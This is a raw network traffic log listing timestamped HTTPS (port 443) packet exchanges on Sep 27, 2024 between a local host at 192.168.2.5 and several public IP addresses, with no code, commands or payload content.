Sep 27, 2024 05:50:56.629210949 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.629241943 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.629254103 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.629334927 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.639935017 CEST	49804	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.115852118 CEST	49804	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.115926981 CEST	443	49804	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.117387056 CEST	443	49804	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.118146896 CEST	49805	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.118196964 CEST	443	49805	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.118381977 CEST	49805	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.119497061 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.119574070 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.119663000 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.121362925 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.121385098 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.121486902 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.127681017 CEST	49796	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.127718925 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.128215075 CEST	49808	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.128320932 CEST	443	49808	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.128418922 CEST	49808	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.130590916 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.136949062 CEST	49804	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.137309074 CEST	443	49804	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.137516022 CEST	49805	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.137528896 CEST	443	49805	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.138000011 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.138027906 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.138533115 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.138542891 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.139499903 CEST	49808	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.139519930 CEST	443	49808	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.140335083 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:57.140374899 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:57.140433073 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:57.141314983 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:57.141329050 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:57.141630888 CEST	49804	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.158407927 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.166934967 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.171101093 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.171154022 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.171828032 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.171904087 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.172844887 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.172909021 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.177233934 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.177248001 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.178575039 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.178611994 CEST	443	49810	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.178747892 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.182235003 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.182296038 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.182845116 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.182914972 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.183435917 CEST	443	49804	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.183849096 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.184112072 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.184495926 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.184501886 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.184819937 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.184834003 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.185189962 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.185542107 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.185553074 CEST	443	49810	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.190130949 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.190140009 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.190649033 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.190682888 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.190741062 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.192969084 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.193016052 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.193018913 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.196671963 CEST	49813	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:57.196728945 CEST	443	49813	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:57.196932077 CEST	49813	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:57.197319984 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.197344065 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.198273897 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.198292017 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.198641062 CEST	49813	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:57.198669910 CEST	443	49813	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:57.199654102 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.199733019 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.202188015 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.202253103 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.206780910 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.206978083 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.207271099 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.207362890 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.207669973 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.208760023 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.208803892 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.209022999 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.209114075 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.209680080 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.209702969 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.209841967 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.209870100 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.209943056 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.209963083 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.210010052 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.210021019 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.257662058 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.257668018 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.257668018 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.259435892 CEST	443	49804	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.259593010 CEST	443	49804	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.259654045 CEST	49804	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.268702030 CEST	49804	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.268740892 CEST	443	49804	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.269531965 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.269556999 CEST	443	49815	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.269925117 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.270692110 CEST	49815	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.270704985 CEST	443	49815	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.274169922 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.274466991 CEST	49816	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:57.274497032 CEST	443	49816	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:57.274557114 CEST	49816	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:57.275144100 CEST	49816	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:57.275154114 CEST	443	49816	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:57.275698900 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.275721073 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.276226997 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.276293993 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.277246952 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.277331114 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.277679920 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.277770042 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.277915001 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.277926922 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.309663057 CEST	49817	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.309743881 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.309838057 CEST	49817	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.310031891 CEST	49817	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.310065985 CEST	443	49817	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.311439991 CEST	49818	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.311536074 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.311606884 CEST	49818	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.312156916 CEST	49818	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:57.312191963 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:57.314332008 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.314376116 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.314929008 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.316032887 CEST	49819	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.316045046 CEST	443	49819	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.317003012 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.317063093 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.317255020 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.317652941 CEST	49820	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.317682981 CEST	443	49820	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.318837881 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.318919897 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.318983078 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.320519924 CEST	49821	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.320549011 CEST	443	49821	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.321110010 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.325545073 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.325568914 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.325644016 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.325880051 CEST	49822	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.325905085 CEST	443	49822	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.478903055 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:57.478943110 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:57.479136944 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:57.479502916 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:57.479513884 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:57.564085007 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.564121008 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.564132929 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.564178944 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.564265013 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.564292908 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.564305067 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.564333916 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.566297054 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.566354036 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.566375971 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.566395044 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.566428900 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.566463947 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.566463947 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.566494942 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.566538095 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.566617012 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.566626072 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.566642046 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.566672087 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.574240923 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.574317932 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.574340105 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.574373007 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.574383974 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.574414015 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.574419975 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.574430943 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.574438095 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.574459076 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.574476004 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.578753948 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.578789949 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.581882954 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.581947088 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.582021952 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.583755970 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.583777905 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.614190102 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.643956900 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.643990040 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.644000053 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.644018888 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.644062042 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.644076109 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.644076109 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.644105911 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.644160986 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.644160986 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.649558067 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.649595976 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.649619102 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.649655104 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.649686098 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.649703026 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.649744034 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.649765015 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.653007030 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.653028011 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.653084040 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.653104067 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.653132915 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.653201103 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.663502932 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.663535118 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.663563967 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.663598061 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.663614035 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.663628101 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.665050030 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.665066957 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.665096045 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.665102005 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.665139914 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.696755886 CEST	443	49808	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.696995974 CEST	49808	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.697019100 CEST	443	49808	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.698162079 CEST	443	49808	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.698548079 CEST	49808	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.698717117 CEST	443	49808	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.698771000 CEST	49808	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.713121891 CEST	443	49805	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.713375092 CEST	49805	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.713397026 CEST	443	49805	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.713855982 CEST	443	49805	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.714278936 CEST	49805	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.714359999 CEST	443	49805	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.714416981 CEST	49805	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.730578899 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.730612993 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.730659962 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.730722904 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.730756044 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.730782032 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.734555006 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.734576941 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.734620094 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.734659910 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.734690905 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.734713078 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.736643076 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.736691952 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.736716032 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.736747026 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.736762047 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.736793995 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.737080097 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.737121105 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.737147093 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.737164021 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.737201929 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.737221956 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.738032103 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.738074064 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.738101959 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.738112926 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.738138914 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.738169909 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.738675117 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.738744974 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.738755941 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.738806963 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.738887072 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.738918066 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.739226103 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.739310026 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.739418983 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.739726067 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.739758015 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.743408918 CEST	443	49808	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.747896910 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.748106003 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.748126030 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.748497009 CEST	443	49810	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.748687983 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.748718023 CEST	443	49810	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.749253988 CEST	443	49810	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.749574900 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.749685049 CEST	443	49810	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.749702930 CEST	49810	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.750220060 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.750278950 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.750616074 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.750705957 CEST	443	49811	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.750741005 CEST	49811	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.751269102 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.751471043 CEST	49812	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:57.751502991 CEST	443	49812	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:57.753916025 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.753966093 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.754009008 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.754046917 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.754076004 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.754093885 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.754267931 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.754333019 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.754344940 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.754389048 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.754426003 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.754478931 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.754584074 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:57.754609108 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:57.754893064 CEST	49826	443	192.168.2.5	47.108.5.198
